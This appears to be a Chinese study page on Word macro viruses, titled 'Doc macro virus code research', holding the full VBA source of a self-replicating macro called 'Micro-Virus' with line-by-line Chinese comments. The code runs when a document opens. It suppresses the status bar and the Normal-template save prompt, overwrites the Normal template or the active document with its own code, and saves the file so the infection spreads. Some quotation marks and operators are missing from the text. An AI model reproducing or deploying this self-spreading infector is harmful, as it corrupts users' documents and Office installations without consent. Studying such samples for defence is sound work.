Doc宏病毒代码研究.docVIP

Micro-Virus Sub Document_Open()文档打开时运行的程序过程 On Error Resume Next 遇到错误执行下一行 Application.DisplayStatusBar = False 把状态栏设置为不显示 MsgBox DisplayStatusBar = False Options.SaveNormalPrompt = False 将Word 在退出之前是否保存对 Normal 模板更改的提示设置为否 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) 设Ourcode等于这个文档的工程代码的1-100行 MsgBox Ourcode get normal Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule 设Host等于Word模板的工程代 if normal, set active; If ThisDocument = NormalTemplate Then 如果这个文档等于Word模板，那么 MsgBox ThisDocument = NormalTemplate Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule 让Host也就是Word模板的工程代码等于这个文档的工程代码 MsgBox Set Host = ActiveDocument End If 本假设语句运行结束 With Host 围绕Host也就是Word模板的工程代码 If .Lines(1, 1) Micro-Virus Then 如果Word模板的工程代码的第一行不等于Micro-Virus,那么 .DeleteLines 1, .CountOfLines 删除从第一行开始的所有行 MsgBox DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode 插入Ourcode代码 .ReplaceLine 2, Sub Document_Close() 把第二行换成Sub Document_Close()，也就是文档关闭时运行的程序过程 MsgBox ReplaceLine 2,Close() If ThisDocument = NormalTemplate Then 如果这个文档等于Word模板，那么 MsgBox ThisDocument = NormalTemplate .ReplaceLine 2, Sub Document_Open() 把第二行换成Sub Document_Open()，也就是文档打开时运行的程序过程 MsgBox ReplaceLine 2,Open() ActiveDocument.SaveAs ActiveDocument.FullName 活动文档保存到原路径的原文件名 MsgBox ActiveDocument.SaveAs End If 本假设语句运行结束 End If 本假设语句运行结束 End With 结束With语句 End Sub 程序过程结束